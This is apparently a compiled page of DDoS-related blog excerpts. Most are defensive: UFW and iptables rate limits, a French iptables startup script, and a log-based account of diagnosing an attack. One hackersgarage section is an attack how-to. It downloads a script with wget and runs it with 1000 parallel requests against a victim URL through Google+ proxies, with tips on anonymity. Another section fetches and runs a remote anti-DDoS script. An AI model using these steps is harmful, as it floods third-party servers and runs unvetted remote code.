Databases, Systems & Networks

Protect DDOS attacks

Using ModEvasive agains DDoS attacks

The first think to do is to install ModEvasive. All details are provided in http://hardenubuntu.com/hardening/apache/modsecurity/.

Configuring UFW

The following instructions can be added to the UFW rules. Edit the /etc/ufw/before.rules:

sudo vi /etc/ufw/before.rules

Add those lines after *filter near the beginning of the file:

:ufw-http - [0:0]
:ufw-http-logdrop - [0:0]

Add those lines near the end of the file, before the COMMIT:

### Start HTTP ###

# Enter rule
-A ufw-before-input -p tcp --dport 80 -j ufw-http
-A ufw-before-input -p tcp --dport 443 -j ufw-http

# Limit connections per Class C
-A ufw-http -p tcp --syn -m connlimit --connlimit-above 50 --connlimit-mask 24 -j ufw-http-logdrop

# Limit connections per IP
-A ufw-http -m state --state NEW -m recent --name conn_per_ip --set
-A ufw-http -m state --state NEW -m recent --name conn_per_ip --update --seconds 10 --hitcount 20 -j ufw-http-logdrop

# Limit packets per IP
-A ufw-http -m recent --name pack_per_ip --set
-A ufw-http -m recent --name pack_per_ip --update --seconds 1 --hitcount 20 -j ufw-http-logdrop

# Finally accept
-A ufw-http -j ACCEPT

# Log
-A ufw-http-logdrop -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW HTTP DROP] "
-A ufw-http-logdrop -j DROP

### End HTTP ###

Lire la suite…

Source: notarobot.fr

On a vu dans l’article précédent comment fonctionnait IPTables et comment pouvait se construire ses commandes. Dans la suite je vais vous proposer un script qui permet d’initialiser IPTables avec ses propres règles au démarrage de la machine.

Ce n’est pas la meilleure façon de faire c’est juste celle que j’utilise. On pourrait rendre ce script plus court, plus interactif j’en suis parfaitement conscient.
D’abord je commence a choisir mes règles par défaut: logiquement je bloque tout le trafic entrant mais est ce que je bloque aussi par défaut tout le trafic sortant ? C’est mon cas mais à vous de voir ce qui est le mieux pour votre situation. Par exemple, et c’est rare, lorsque qu’un attaquant réussit via je ne sais quel moyen a coller un rootkit sur votre serveur cela peut être intéressant de l’empêcher de dialoguer avec l’extérieur.
Ensuite comme vous êtes sûrement connectés en SSH sur votre serveur on va éviter de couper la connexion à l’initialisation du pare feu par exemple donc il va falloir autoriser toutes les connexions déjà établies en considérant qu’elles soient sûres. Puis on enchaîne nos règles en gardant bien à l’esprit l’article précédent pour les agencer dans l’ordre. Donc ça donne quelque chose comme ça:

#!/bin/sh

#On rappelle le chemin ou se trouve l'exécutable dont on va se servir
PATH=/bin:/sbin:/usr/bin:/usr/sbin

#On vide complètement les règles
iptables -t filter -F
iptables -t filter -X

#Tout le trafic est bloqué...
iptables -t filter -P INPUT DROP
iptables -t filter -P FORWARD DROP
iptables -t filter -P OUTPUT DROP

#...sauf les connexions déjà établies
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

#On autorise le serveur a pouvoir communiquer avec lui même (la boucle locale)
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A OUTPUT -o lo -j ACCEPT

#Si on veut bloquer des adresses en particulier c'est ici qu'il faut les ajouter car en dessous on commence à ouvrir les ports et on risque que ces règles prennent le pas sur un blocage spécifique

iptables -A INPUT -s A.B.C.D -j DROP
iptables -A INPUT -s X.X.Y.Y -j DROP

#Autoriser le ping dans les deux sens
iptables -t filter -A INPUT -p icmp -j ACCEPT
iptables -t filter -A OUTPUT -p icmp -j ACCEPT

#Autorisation du traffic Web en entrant
iptables -t filter -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -t filter -A INPUT -p tcp --dport 443 -j ACCEPT

#Autorisation du traffic SSH en entrant pour le management du serveur
iptables -t filter -A INPUT -p tcp --dport 22 -j ACCEPT

#Autorisation du web en sortant (utile pour récupérer des sources)
iptables -t filter -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 443 -j ACCEPT

#Autorisation SSH, FTP en sortant
iptables -t filter -A OUTPUT -p tcp --dport 21 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 22 -j ACCEPT

#Autorisation NTP, RTM(OVH), DNS,
iptables -t filter -A OUTPUT -p tcp --dport 123 -j ACCEPT
iptables -t filter -A OUTPUT -p udp --dport 6100:6200 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 53 -j ACCEPT

#Protection DDOS
iptables -A FORWARD -p tcp --syn -m limit --limit 1/second -j ACCEPT
iptables -A FORWARD -p udp -m limit --limit 1/second -j ACCEPT
iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT

#Anti Scan de port
iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT

Voilà donc comme je l’ai dit ce n’est pas un script parfait mais il permet au moins de voir que fait chaque ligne et reste clair malgrès tout. Il est évident qu’il faudrait réfléchir a une autre méthode si les règles viennent à se multiplier parce que cela peut vite devenir ingérable. Ceci dit vous allez pouvoir avoir une base compréhensible pour sécuriser votre serveur de manière fiable. En tout cas au niveau des connexions réseau !

Recently we wrote about ApacheKiller that freezes Victim Server in seconds. While this new findings by IHTeam express that Google+ Servers can be use for DDoS attack. Lets talk about this ant script, Hey.. but it is worthy.

How DDoS Attack Using Google+ Servers works?

When you post a URL on your Google+ status it fetches URL Summary (It includes Image + Short description) using Google+ Proxy Servers.

Advisory report says;  vulnerable pages are “/_/sharebox/linkpreview/“  and “gadgets/proxy?“

So if you send multiple parallel requests with a big number e.g 1000 that can be turn into DDoS attack using Google+ Servers huge bandwidth.

How to use DDoS script to launch a DDoS attack Using Google+ Servers?

Download :
wget static.hackersgarage.com/ddos-using-google-servers.sh.hackersgarage.com

Make it shorter :
mv ddos-using-google-servers.sh.hackersgarage.com ddos.sh

Make it executable :
chmod u+x ddos.sh

Example of Usage :
./ddos.sh http://www.victim-website.com/some-file-url/file-name.mp3 1000

Now, lets look at this example :
It is recommended to find a full path to some big file which is downloadable without requesting for CAPTCHA.

e.g http://www.victim-website.com/some-file-url/file-name.mp3

NOTE : Make sure your workstation is capable to handle this huge number else your workstation will freeze and you will have to force fully restart your own workstation ?

e.g 1000 is very big number.

You will see anonymous source instead of Real Source IP:
See sample apache webserver log below

209.85.228.85 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.88 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.90 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.91 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.226.81 - - [31/Aug/2011:15:34:18 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
209.85.228.86 - - [31/Aug/2011:15:34:17 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.84 - - [31/Aug/2011:15:34:21 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"
74.125.152.81 - - [31/Aug/2011:15:34:33 +0000] "GET /madona-song.mp3 HTTP/1.1" 200 636431 "-" "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)"

You can also access it in browser to remain anonymous using below example URL (replace URL with your own choice) :

https://images1-focus-opensocial.googleusercontent.com/gadgets/proxy?url=http://www.Hackersgarage.com&container=none

Source: hackersgarage.com

If you are under a DOS or DDOS attack and running out of your mind or don’t know what to do, use this script to get ride of this panic situation.

DoS or DDoS is an attempt to make a victim website unavailable by creating hundreds to hundreds thousands of established connections that overflow victim resources and makes a website unavailable to the genuine users/visitors.

Short and useful slide that definite this script can be view on slideshare

You can run script to mitigate a low level ddos attack some how while and can stop DOS attack completely. This script is available under GPL license from the author.

How to mitigate DoS or DDoS attack?

Stop or flush other rules for now :

service apf stop
iptables -F
wget http://www.hackersgarage.com/wp-content/uploads/2011/08/antiDDoS.txt
mv antiDDoS.txt antiDDoS.sh
chmod u+x antiDDoS.sh
./antiDDoS.sh

Some other useful commands to analyze the type of attacks :

netstat -antp | grep ESTABLISHED
netstat -antp | grep -i sync
netstat --help

Source: hackersgarage.com

Source: Tech Recipes – Quinn McHenry

In computer security, it quickly becomes apparent that preventing computer attacks is much more challenging than attacking computers. A good example of an easy technique to prevent a website from functioning is a distributed denial of service, or DDoS, attack in which a number of compromised computers around the internet make web (or other protocol) requests on some poor server. If the web page requested is one that requires lots of server-side processing, the resulting load from the combined requests prevents the web server from responding to legitimate requests, thus denying the service. As Tech-Recipes.com was subjected to such an attack recently, we felt it might be beneficial to others if we described the steps we took in our response.

Note: The following information is relevant to UNIX-based servers running Apache (although other platforms and software may be applicable). A prerequisite for this approach requires the use of iptables which likely means you need root access to the server, so this will probably not help you if you are using shared hosting. Sorry! Your best bet in this case is to contact your ISP for their help (good luck) as it is in their best interest to prevent high loads on their shared servers, although it is likely that they will temporarily disable your domain services, which is definitely not the best solution from your perspective.

To minimize the impact of a denial of service attack, you should make yourself aware of problems with your web server in near real-time. Several server monitoring services are available. We use both Pingdom and SiteUptime. Using these services, we have redundant notifications of any service disruption sent to our cell phones via SMS and to several email addresses (none of which are handled by our monitored servers, of course). Using these services, we are notified within a minute of a failed request to our production servers.

Before you implement specific anti-DDoS techniques, it is wise to make sure that the problem is actually a DDoS attack. Services may fail to answer a request for a number of reasons among them the executable running the service dying unexpectedly, the ISP hosting the server experiencing a network or server outage, or some other self-correcting glitch in the matrix. To determine if the service failure is due to a DDoS and to collect information necessary to take actions against the attack, you need to dig around first.

You need access to your access_log, the log file which contains a text entry for every request made to your web server. There are many places that this file can hide and it is dependent on your server setup. When in doubt, you can check the ISP’s documentation (search for access log) — the log data may be accessible through a web console, but it is optimal if you have shell access to your server. If your ISP’s online help is not so helpful in finding the access log, you can use the UNIX find command.

Once you have found your access log, cd into the directory containing the log and run the tail command on it with the -f option:

tail -f access_log

The tail command on its own will display the last 10 lines of the specified file and then quit. The -f option will tell tail to keep running after the last 10 lines are displayed and keep displaying subsequent lines that are added to the file. You’re likely to see a flurry of entries. If you don’t see any log messages after the default 10, you’re either looking at the wrong file or the web server is dead or otherwise not seeing any traffic. It is possible that one server can host many websites and each can have a separate access_log file, so be certain that you’re tailing the right one. If the service is dead, resuscitate it through whatever mechanism is appropriate. We’re going to assume from here on out that you’re seeing a ton of access log messages that look very similar (probably hitting the same URL) that don’t have a valid or any referrer (if the referrer is slashdot.org or digg.com, well, then you can be both happy and sad that the traffic, though server crippling, is legitimate) and have a bunch of different IP addresses. During our recent siege, there were so many bogus requests that very few legitimate requests made it to the access_log file. Here are a few lines from our access_log during the attack:

220.255.7.204 - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
220.255.7.209 - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
220.255.7.208 - - [07/Jul/2008:19:28:18 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
71.232.78.53 - - [07/Jul/2008:19:28:19 -0700] "GET /modules.php?name=Forums&file=index HTTP/1.1" 200 14313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

If you aren’t familiar with the default structure of Apache’s access_log, the first value is the source IP address of the request, then the date and time of the request is in square brackets, and the first string in double quotes is the HTTP request made. In our example, the request was always the same: “GET /modules.php?name=Forums&file=index HTTP/1.1” — a GET request of the URL (/modules.php?….) and the HTTP protocol used (1.1). The portion of the URL used is important since it is the one thing we can use to identify the offending IP addresses. The second string in quotes is the referring URL, in our case there isn’t one so it shows up as “-” which lends credence to the suspicion that it is a DDoS attack. The remaining string describes the platform and software that has made the request and isn’t very meaningful or helpful to us as it can easily be forged.

Lire la suite…